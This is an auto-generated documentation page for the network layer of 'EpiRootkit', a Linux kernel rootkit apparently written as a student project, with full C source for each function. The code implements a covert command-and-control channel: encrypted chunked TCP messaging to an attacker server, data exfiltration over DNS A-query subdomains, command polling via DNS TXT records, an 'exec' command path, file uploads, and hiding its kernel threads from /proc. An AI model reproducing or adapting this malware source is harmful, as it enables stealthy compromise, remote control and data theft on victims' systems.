EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
network.h File Reference
#include <linux/delay.h>
#include <linux/errno.h>
#include <linux/fcntl.h>
#include <linux/in.h>
#include <linux/inet.h>
#include <linux/kthread.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/net.h>
#include <linux/random.h>
#include <linux/socket.h>
#include <linux/uio.h>
#include "config.h"
#include "crypto.h"
#include "cmd.h"
Include dependency graph for network.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions

int send_to_server_raw (const char *data, size_t len)
 
int send_to_server (enum Protocol protocol, char *message,...)
 
int receive_from_server (char *buffer, size_t len)
 
int send_file_to_server (char *filename)
 
struct socket * get_worker_socket (void)
 
struct socket * set_worker_socket (struct socket *s)
 
int close_worker_socket (void)
 
int connect_worker_socket_to_server (struct sockaddr_in *addr)
 
bool is_user_auth (void)
 
int set_user_auth (bool auth)
 
int start_network_worker (void)
 
int stop_network_worker (void)
 
int dns_send_data (const char *data, size_t len)
 Exfiltrate a data buffer over DNS by hex-chunked A-queries.
 
int dns_receive_command (char *buffer, size_t max_len)
 Poll the attacker via DNS TXT-query for a pending command.
 
int start_dns_worker (void)
 Starts the DNS worker kernel thread.
 
int stop_dns_worker (void)
 Stops the DNS worker kernel thread.
 

Function Documentation

◆ close_worker_socket()

int close_worker_socket ( void  )

close_worker_socket - Closes the worker socket. Return: 0 on success, or an error code on failure.

Definition at line 43 of file socket.c.

43 {
44 mutex_lock(&worker_socket_lock);
45 if (worker_socket) {
46 sock_release(worker_socket);
47 worker_socket = NULL;
48 DBG_MSG("close_worker_socket: socket released\n");
49 }
50 mutex_unlock(&worker_socket_lock);
51 return SUCCESS;
52}
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define SUCCESS
Definition config.h:5
static struct socket * worker_socket
Definition socket.c:10

◆ connect_worker_socket_to_server()

int connect_worker_socket_to_server ( struct sockaddr_in *  addr)

connect_worker_socket_to_server - Connects the worker socket to the server.

Parameters
addrThe server address to connect to. Return: 0 on success, or a negative error code on failure.

Definition at line 59 of file socket.c.

59 {
60 int ret;
61 struct socket *s;
62
63 ret = sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &s);
64 if (ret < 0) {
65 ERR_MSG("connect_worker_socket: failed to create socket (ret=%d)\n", ret);
66 return ret;
67 }
68
69 ret = kernel_connect(s, (struct sockaddr *)addr, sizeof(*addr), 0);
70 if (ret < 0) {
71 ERR_MSG("connect_worker_socket: connection failed (ret=%d)\n", ret);
72 sock_release(s);
73 return ret;
74 }
75
77 DBG_MSG("connect_worker_socket: connection successful\n");
78 return SUCCESS;
79}
#define ERR_MSG(fmt, args...)
Definition config.h:16
struct socket * set_worker_socket(struct socket *s)
Definition socket.c:30

◆ dns_receive_command()

int dns_receive_command ( char *  out_buffer,
size_t  max_length 
)

Poll the attacker via DNS TXT-query for a pending command.

Parameters
out_bufferBuffer to store received command string.
max_lengthMaximum size of out_buffer.
Returns
Length of command received (>0), 0 if none, negative on error.

Definition at line 222 of file dns.c.

222 {
223 char *poll_qname;
224 u8 *response_buffer_local;
225 int response_length_local;
226 int result;
227 struct dns_header_t *hdr;
228 u16 answer_count;
229 int offset;
230
231 // Allocate local response buffer
232 response_buffer_local = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
233 if (!response_buffer_local)
234 return -ENOMEM;
235
236 // Build the TXT-poll query name
237 poll_qname = kmalloc(128, GFP_KERNEL);
238 snprintf(poll_qname, 128, "command.%s", DNS_DOMAIN);
239
240 // Send TXT query and get raw response
241 result = dns_send_query(poll_qname, htons(16), response_buffer_local,
242 &response_length_local);
243 kfree(poll_qname);
244 if (result < 0) {
245 kfree(response_buffer_local);
246 return -EIO;
247 }
248
249 // Parse DNS header and answer count
250 hdr = (struct dns_header_t *)response_buffer_local;
251 answer_count = ntohs(hdr->ancount);
252
253 // No command pending
254 if (answer_count == 0) {
255 kfree(response_buffer_local);
256 return 0;
257 }
258
259 // Skip header and question section
260 offset = DNS_HDR_SIZE;
261 while (offset < response_length_local && response_buffer_local[offset])
262 offset += response_buffer_local[offset] + 1;
263
264 // NULL (1) + QTYPE (2) + QCLASS (2)
265 offset += 1 + 2 + 2;
266
267 // Skip into first answer record
268 if ((response_buffer_local[offset] & 0xC0) == 0xC0)
269 offset += 2;
270 else {
271 while (offset < response_length_local && response_buffer_local[offset])
272 offset += response_buffer_local[offset] + 1;
273 offset++;
274 }
275
276 // TYPE (2) + CLASS (2) + TTL (4)
277 offset += 2 + 2 + 4;
278
279 // Read RDLENGTH and TXT length byte
280 u16 rdlength = ntohs(*(__be16 *)(response_buffer_local + offset));
281 offset += 2;
282
283 if (rdlength > 0 && offset < response_length_local) {
284 u8 txt_length = response_buffer_local[offset++];
285 if (txt_length >= max_length)
286 txt_length = max_length - 1;
287
288 char *decrypted = NULL;
289 size_t decrypted_len = 0;
290
291 if (decrypt_buffer(response_buffer_local + offset, txt_length, &decrypted,
292 &decrypted_len)
293 < 0) {
294 kfree(response_buffer_local);
295 return -EIO;
296 }
297
298 memcpy(out_buffer, decrypted, decrypted_len);
299 out_buffer[decrypted_len] = '\0';
300
301 // Marie Kondo
302 kfree(response_buffer_local);
303 vfree(decrypted);
304 return decrypted_len;
305 }
306
307 // Marie Kondo
308 kfree(response_buffer_local);
309 return 0;
310}
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
Definition aes.c:335
#define DNS_DOMAIN
Definition config.h:48
#define DNS_MAX_BUF
Definition config.h:43
#define DNS_HDR_SIZE
Definition config.h:44
static int dns_send_query(const char *query_name, __be16 question_type, u8 *response_buffer, int *response_length)
Send a single DNS question and receive the raw response.
Definition dns.c:35
DNS protocol header (network byte order, it is important).
Definition dns.c:10
__be16 ancount
Definition dns.c:14

◆ dns_send_data()

int dns_send_data ( const char *  data,
size_t  data_len 
)

Exfiltrate a data buffer over DNS by hex-chunked A-queries.

Splits data into chunks of DNS_MAX_CHUNK bytes, prefixes each chunk with a "seq/total-" header, hex-encodes, and sends as subdomains. Sleeps briefly between queries to avoid flooding.

Parameters
dataPointer to data buffer to send.
data_lenLength of data in bytes.
Returns
0 on success, negative errno on failure.

Definition at line 149 of file dns.c.

149 {
150 char *encrypted_msg = NULL;
151 size_t encrypted_len = 0;
152
153 // Encrypt the data before sending
154 if (encrypt_buffer(data, data_len, &encrypted_msg, &encrypted_len) < 0)
155 return -EIO;
156
157 size_t total_chunks = (encrypted_len + DNS_MAX_CHUNK - 1) / DNS_MAX_CHUNK;
158
159 // Too many chunks, refuse to send, arbitrarily limit to
160 // DNS_MAX_AUTHORIZED_NB_CHUNKS
161 if (total_chunks > DNS_MAX_AUTHORIZED_NB_CHUNKS) {
162 vfree(encrypted_msg);
163 dns_send_data("Output on victim side too big. Use TCP instead. ", 47);
164 return -E2BIG;
165 }
166
167 size_t chunk_index;
168 int response_length_local;
169 u8 *response_buffer_local;
170
171 // Allocate local response buffer
172 response_buffer_local = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
173 if (!response_buffer_local) {
174 vfree(encrypted_msg);
175 return -ENOMEM;
176 }
177
178 // Loop over each data chunk
179 for (chunk_index = 0; chunk_index < total_chunks; chunk_index++) {
180 size_t chunk_size =
181 min(encrypted_len - chunk_index * DNS_MAX_CHUNK, (size_t)DNS_MAX_CHUNK);
182 char hex_buffer[2 * DNS_MAX_CHUNK + 1];
183 char seq_label[80];
184 char full_qname[200];
185 size_t i;
186
187 // Hex-encode the chunk
188 for (i = 0; i < chunk_size; i++)
189 sprintf(hex_buffer + 2 * i, "%02x",
190 encrypted_msg[chunk_index * DNS_MAX_CHUNK + i]);
191 hex_buffer[2 * chunk_size] = '\0';
192
193 // Prefix with sequence/total header (not the best way to do it I think, but
194 // works)
195 snprintf(seq_label, sizeof(seq_label), "%02zx/%02zx-%s", chunk_index,
196 total_chunks, hex_buffer);
197
198 // Build full QNAME: "seq_label.DNS_DOMAIN"
199 snprintf(full_qname, sizeof(full_qname), "%s.%s", seq_label, DNS_DOMAIN);
200
201 // Send the A-query carrying this chunk over DNS
202 dns_send_query(full_qname, htons(1), response_buffer_local,
203 &response_length_local);
204
205 // Craque le sleep
206 msleep(10);
207 }
208
209 // Marie Kondo
210 vfree(encrypted_msg);
211 kfree(response_buffer_local);
212 return 0;
213}
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
Definition aes.c:322
#define DNS_MAX_CHUNK
Definition config.h:45
#define DNS_MAX_AUTHORIZED_NB_CHUNKS
Definition config.h:46
int dns_send_data(const char *data, size_t data_len)
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
Definition dns.c:149

◆ get_worker_socket()

struct socket * get_worker_socket ( void  )

Definition at line 17 of file socket.c.

17 {
18 struct socket *s;
19 mutex_lock(&worker_socket_lock);
20 s = worker_socket;
21 mutex_unlock(&worker_socket_lock);
22 return s;
23}

◆ is_user_auth()

bool is_user_auth ( void  )

is_user_auth - Check if the user is authenticated. Return: true if the user is authenticated, false otherwise.

Definition at line 13 of file tcp/worker.c.

13 {
14 return is_auth;
15}
static bool is_auth
Definition tcp/worker.c:6

◆ receive_from_server()

int receive_from_server ( char *  buffer,
size_t  max_len 
)

receive_from_server - Receives a message from the server, decrypts it, and processes it.

Parameters
bufferThe buffer to store the received message.
max_lenThe maximum length of the buffer.

This function reads chunks from the server, assembles them, decrypts the complete message, and returns it in the provided buffer. It handles both text commands and file uploads.

Return: The length of the received message on success, negative error code on failure.

Definition at line 200 of file network.c.

200 {
201 struct socket *sock = get_worker_socket();
202 if (!sock)
203 return -EINVAL;
204
205 // Const of the frame
206 const size_t FRAME_SIZE_FULL = STD_BUFFER_SIZE;
207 const size_t HEADER_SIZE = 10;
208 const size_t EOT_SIZE = 1;
209 const size_t BODY_SIZE = FRAME_SIZE_FULL - HEADER_SIZE - EOT_SIZE;
210
211 // Statically sized temp buffers
212 char header_buffer[10];
213 char *payloadbuf = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
214 if (!payloadbuf) {
215 return -ENOMEM;
216 }
217 char padbuf[10];
218
219 char *received = NULL;
220 bool *seen = NULL;
221 size_t nb_chunks = 0;
222 size_t total_received = 0;
223 int ret = -EIO;
224
225 // Read and assemble all chunks (please pray god)
226 while (true) {
227 int off, n;
228 uint32_t total, index;
229 uint16_t data_len;
230
231 // Read exactly the size of header in bytes
232 off = 0;
233 while (off < HEADER_SIZE) {
234 struct kvec vec = { .iov_base = header_buffer + off,
235 .iov_len = HEADER_SIZE - off };
236 struct msghdr msg = { 0 };
237 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
238 if (n <= 0) {
239 ret = -EIO;
240 goto cleanup;
241 }
242
243 off += n;
244 }
245
246 // Parse the fucking big endian fields
247 total = be32_to_cpu(*(__be32 *)(header_buffer + 0));
248 index = be32_to_cpu(*(__be32 *)(header_buffer + 4));
249 data_len = be16_to_cpu(*(__be16 *)(header_buffer + 8));
250 if (data_len > BODY_SIZE) {
251 ret = -EINVAL;
252 goto cleanup;
253 }
254
255 // Read payload and the EOT
256 off = 0;
257 while (off < (int)(data_len + EOT_SIZE)) {
258 struct kvec vec = { .iov_base = payloadbuf + off,
259 .iov_len = (data_len + EOT_SIZE) - off };
260 struct msghdr msg = { 0 };
261 n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
262 if (n <= 0) {
263 ret = -EIO;
264 goto cleanup;
265 }
266 off += n;
267 }
268
269 if ((uint8_t)payloadbuf[data_len] != EOT_CODE) {
270 ret = -EINVAL;
271 goto cleanup;
272 }
273
274 // Discard remaining padding up to FRAME_SIZE_FULL
275 size_t pad = FRAME_SIZE_FULL - (HEADER_SIZE + data_len + EOT_SIZE);
276 while (pad > 0) {
277 size_t rd = pad > HEADER_SIZE ? HEADER_SIZE : pad;
278 struct kvec vec = { .iov_base = padbuf, .iov_len = rd };
279 struct msghdr msg = { 0 };
280 n = kernel_recvmsg(sock, &msg, &vec, 1, rd, 0);
281 if (n <= 0) {
282 ret = -EIO;
283 goto cleanup;
284 }
285 pad -= n;
286 }
287
288 // DEBUG
289 DBG_MSG("CHUNK %u/%u len=%u", index, total, data_len);
290
291 // On first real chunk, allocate the big buffer and the bool buffer
292 if (!received) {
293 nb_chunks = total;
294 received = vmalloc(nb_chunks * BODY_SIZE);
295 seen = kzalloc(nb_chunks * sizeof(bool), GFP_KERNEL);
296 if (!received || !seen) {
297 ret = -ENOMEM;
298 goto cleanup;
299 }
300 }
301
302 // Check the problems
303 if (total != nb_chunks || index >= nb_chunks) {
304 ret = -EINVAL;
305 goto cleanup;
306 }
307
308 if (!seen[index]) {
309 memcpy(received + index * BODY_SIZE, payloadbuf, data_len);
310 seen[index] = true;
311 total_received += data_len;
312 }
313
314 // Exit once we have every chunk (maybe should add a timeout)
315 if (all_chunks_received(seen, nb_chunks))
316 break;
317 }
318
319 kfree(seen);
320 seen = NULL;
321
322 // Decrypt and dispatch
323 char *decrypted = NULL;
324 size_t dlen = 0;
325
326 ret = decrypt_buffer(received, total_received, &decrypted, &dlen);
327 vfree(received);
328 received = NULL;
329 if (ret < 0)
330 goto cleanup;
331
332 // Clamp for text command mode
333 if (!receiving_file && dlen > max_len - 1)
334 dlen = max_len - 1;
335
336 // fuck exec prefix
337 if (dlen >= 4 && !memcmp(decrypted, "exec", 4)) {
338 memcpy(buffer, decrypted, dlen);
339 buffer[dlen] = '\0';
340 ret = dlen;
341 }
342
343 // File upload mode
344 else if (receiving_file) {
345 DBG_MSG("RECEIVING FILE : got %zu bytes", dlen);
346 ret = handle_upload_chunk(decrypted, dlen, TCP);
347 }
348
349 // Otherwise it is the normal text command
350 else {
351 memcpy(buffer, decrypted, dlen);
352 buffer[dlen] = '\0';
353 ret = dlen;
354 }
355
356 vfree(decrypted);
357 return ret;
358
359cleanup:
360 kfree(payloadbuf);
361 kfree(seen);
362 vfree(received);
363 return ret;
364}
struct socket * get_worker_socket(void)
Definition socket.c:17
@ TCP
Definition config.h:29
#define STD_BUFFER_SIZE
Definition config.h:68
#define EOT_CODE
Definition network.c:18
static bool all_chunks_received(bool *received, size_t count)
Definition network.c:22
bool receiving_file
Definition upload.c:10
int handle_upload_chunk(const char *data, size_t len, enum Protocol protocol)
Definition upload.c:16

◆ send_file_to_server()

int send_file_to_server ( char *  filename)

◆ send_to_server()

int send_to_server ( enum Protocol  protocol,
char *  message,
  ... 
)

send_to_server - Sends a formatted message to the server using the specified protocol.

Parameters
protocolThe communication protocol to use (TCP or DNS).
messageThe format string for the message to send.
...Additional arguments for formatting the message.

Return: 0 on success, negative error code on failure.

Definition at line 67 of file network.c.

67 {
68 if (protocol == TCP && !get_worker_socket()) {
69 ERR_MSG("send_to_server: socket is not initialized\n");
70 return -EINVAL;
71 }
72
73 // Check if there is only one parameter (the string itself)
74 va_list args;
75 va_start(args, message);
76 if (va_arg(args, char *) == NULL) {
77 va_end(args);
78
79 // It protocol is DNS, send the message directly
80 if (protocol == DNS)
81 return dns_send_data(message, strlen(message));
82
83 // If protocol is TCP, send the raw message
84 return send_to_server_raw(message, strlen(message));
85 }
86 va_end(args);
87
88 va_start(args, message);
89
90 // If there are more parameters, format the message
91 char *formatted_message = vformat_string(message, args);
92 va_end(args);
93
94 if (!formatted_message) {
95 ERR_MSG("send_to_server: failed to format message\n");
96 return -ENOMEM;
97 }
98
99 // If the protocol is DNS, send the formatted message over DNS
100 if (protocol == DNS)
101 return dns_send_data(formatted_message, strlen(formatted_message));
102
103 // Send the formatted message through TCP
104 int ret_code =
105 send_to_server_raw(formatted_message, strlen(formatted_message));
106
107 // Free the formatted message buffer
108 kfree(formatted_message);
109 return ret_code;
110}
char * message
@ DNS
Definition config.h:30
static char * vformat_string(const char *fmt, va_list ap)
Definition network.c:36
int send_to_server_raw(const char *data, size_t len)
Definition network.c:123
int dns_send_data(const char *data, size_t len)
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
Definition dns.c:149

◆ send_to_server_raw()

int send_to_server_raw ( const char *  data,
size_t  len 
)

send_to_server_raw - Sends raw data to the server using the TCP protocol.

Parameters
dataThe data to send.
lenThe length of the data.

This function encrypts the data, splits it into chunks, and sends each chunk to the server. Each chunk contains metadata about the total number of chunks, its index, and the length of the data in the chunk.

Return: 0 on success, negative error code on failure.

Definition at line 123 of file network.c.

123 {
124 struct socket *sock = get_worker_socket();
125 if (!sock)
126 return -EINVAL;
127
128 char *encrypted_msg = NULL;
129 size_t encrypted_len = 0;
130
131 // Encrypt the data before sending
132 if (encrypt_buffer(data, len, &encrypted_msg, &encrypted_len) < 0)
133 return -EIO;
134
135 size_t max_chunk_body = STD_BUFFER_SIZE - CHUNK_OVERHEAD;
136 size_t nb_chunks = DIV_ROUND_UP(encrypted_len, max_chunk_body);
137
138 // Send each chunk individually
139 for (size_t i = 0; i < nb_chunks; ++i) {
140 size_t chunk_len = (i == nb_chunks - 1)
141 ? (encrypted_len - i * max_chunk_body)
142 : max_chunk_body;
143
144 char *chunk = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
145 if (!chunk) {
146 ERR_MSG("send_to_server_raw: failed to allocate buffer\n");
147 vfree(encrypted_msg);
148 return -ENOMEM;
149 }
150
151 // total_chunks in big-endian 32 bits
152 uint32_t tc = (uint32_t)nb_chunks;
153 chunk[0] = (uint8_t)((tc >> 24) & 0xFF);
154 chunk[1] = (uint8_t)((tc >> 16) & 0xFF);
155 chunk[2] = (uint8_t)((tc >> 8) & 0xFF);
156 chunk[3] = (uint8_t)((tc >> 0) & 0xFF);
157
158 // chunk_index in big-endian 32 bits
159 uint32_t ci = (uint32_t)i;
160 chunk[4] = (uint8_t)((ci >> 24) & 0xFF);
161 chunk[5] = (uint8_t)((ci >> 16) & 0xFF);
162 chunk[6] = (uint8_t)((ci >> 8) & 0xFF);
163 chunk[7] = (uint8_t)((ci >> 0) & 0xFF);
164
165 // chunk_len in big-endian 16 bits
166 uint16_t cl = (uint16_t)chunk_len;
167 chunk[8] = (uint8_t)((cl >> 8) & 0xFF);
168 chunk[9] = (uint8_t)((cl >> 0) & 0xFF);
169
170 memcpy(chunk + 10, encrypted_msg + i * max_chunk_body, chunk_len);
171 chunk[10 + chunk_len] = EOT_CODE; // End of transmission
172
173 // Send the chunk using kernel socket API
174 struct kvec vec = { .iov_base = chunk, .iov_len = STD_BUFFER_SIZE };
175 struct msghdr msg = { 0 };
176
177 int ret = kernel_sendmsg(sock, &msg, &vec, 1, vec.iov_len);
178 kfree(chunk);
179 if (ret < 0) {
180 vfree(encrypted_msg);
181 return ret;
182 }
183 }
184
185 vfree(encrypted_msg);
186 return 0;
187}
#define CHUNK_OVERHEAD
Definition network.c:19

◆ set_user_auth()

int set_user_auth ( bool  auth)

set_user_auth - Set the user authentication status.

Parameters
authtrue to authenticate the user, false to unauthenticate. Return: 0 on success, or an error code on failure.

Definition at line 22 of file tcp/worker.c.

22 {
23 is_auth = auth;
24 return is_auth;
25}

◆ set_worker_socket()

struct socket * set_worker_socket ( struct socket *  s)

set_worker_socket - Sets the worker socket.

Parameters
sThe socket to set as the worker socket. Return: Pointer to the newly set worker socket.

Definition at line 30 of file socket.c.

30 {
31 mutex_lock(&worker_socket_lock);
32 if (worker_socket)
33 sock_release(worker_socket);
34 worker_socket = s;
35 mutex_unlock(&worker_socket_lock);
36 return worker_socket;
37}

◆ start_dns_worker()

int start_dns_worker ( void  )

Starts the DNS worker kernel thread.

This function initializes and starts a kernel thread that listens for commands sent over DNS. If the thread is already running, it returns an error code indicating that the resource is busy.

Returns
SUCCESS (0) on successful thread creation.
-EBUSY if the thread is already running.
Negative error code if thread creation fails.

Definition at line 45 of file dns/worker.c.

45 {
47 return -EBUSY;
48
49 // Create the DNS worker thread
51 if (IS_ERR(dns_worker_thread))
52 return PTR_ERR(dns_worker_thread);
53
54 // Hide the thread from the user
55 char path[32] = { 0 };
56 snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
57 hide_file(path);
58
59 return SUCCESS;
60}
#define DNS_WORKER_THREAD_NAME
Definition config.h:40
static struct task_struct * dns_worker_thread
Definition dns/worker.c:4
static int dns_worker(void *data)
Kernel thread function to process DNS-based commands.
Definition dns/worker.c:17
int hide_file(const char *path)
Definition hide_api.c:25

◆ start_network_worker()

int start_network_worker ( void  )

start_network_worker - Start the network worker thread.

Definition at line 161 of file tcp/worker.c.

161 {
163 ERR_MSG("start_network_worker: thread already running\n");
164 return -EBUSY;
165 }
166
168 kthread_run(network_worker, NULL, NETWORK_WORKER_THREAD_NAME);
169 if (IS_ERR(network_worker_thread)) {
170 ERR_MSG("start_network_worker: failed to start thread\n");
171 return PTR_ERR(network_worker_thread);
172 }
173
174 // Hide the thread from the user
175 char path[32] = { 0 };
176 snprintf(path, sizeof(path), "/proc/%d", network_worker_thread->pid);
177 hide_file(path);
178
179 return SUCCESS;
180}
#define NETWORK_WORKER_THREAD_NAME
Definition config.h:34
static int network_worker(void *data)
Definition tcp/worker.c:106
static struct task_struct * network_worker_thread
Definition tcp/worker.c:7

◆ stop_dns_worker()

int stop_dns_worker ( void  )

Stops the DNS worker kernel thread.

This function stops the running DNS worker thread and cleans up its resources. If the thread is not running, it returns an error code indicating invalid operation.

Returns
SUCCESS (0) on successful thread termination.
-EINVAL if the thread is not running or is invalid.

Definition at line 72 of file dns/worker.c.

72 {
74 return -EINVAL;
75
76 // Remove the hidden directory associated with the thread
77 char path[32] = { 0 };
78 snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
79 unhide_file(path);
80
81 // Stop the DNS worker thread
82 kthread_stop(dns_worker_thread);
83 dns_worker_thread = NULL;
84
85 return SUCCESS;
86}
int unhide_file(const char *path)
Definition hide_api.c:52

◆ stop_network_worker()

int stop_network_worker ( void  )

stop_network_worker - Stop the network worker thread.

Definition at line 185 of file tcp/worker.c.

185 {
187 return -EINVAL;
188 }
189
190 // Remove the hidden directory associated with the thread
191 char path[32] = { 0 };
192 snprintf(path, sizeof(path), "/proc/%d", network_worker_thread->pid);
193 unhide_file(path);
194
195 // Stop the network worker thread
196 kthread_stop(network_worker_thread);
198
199 return SUCCESS;
200}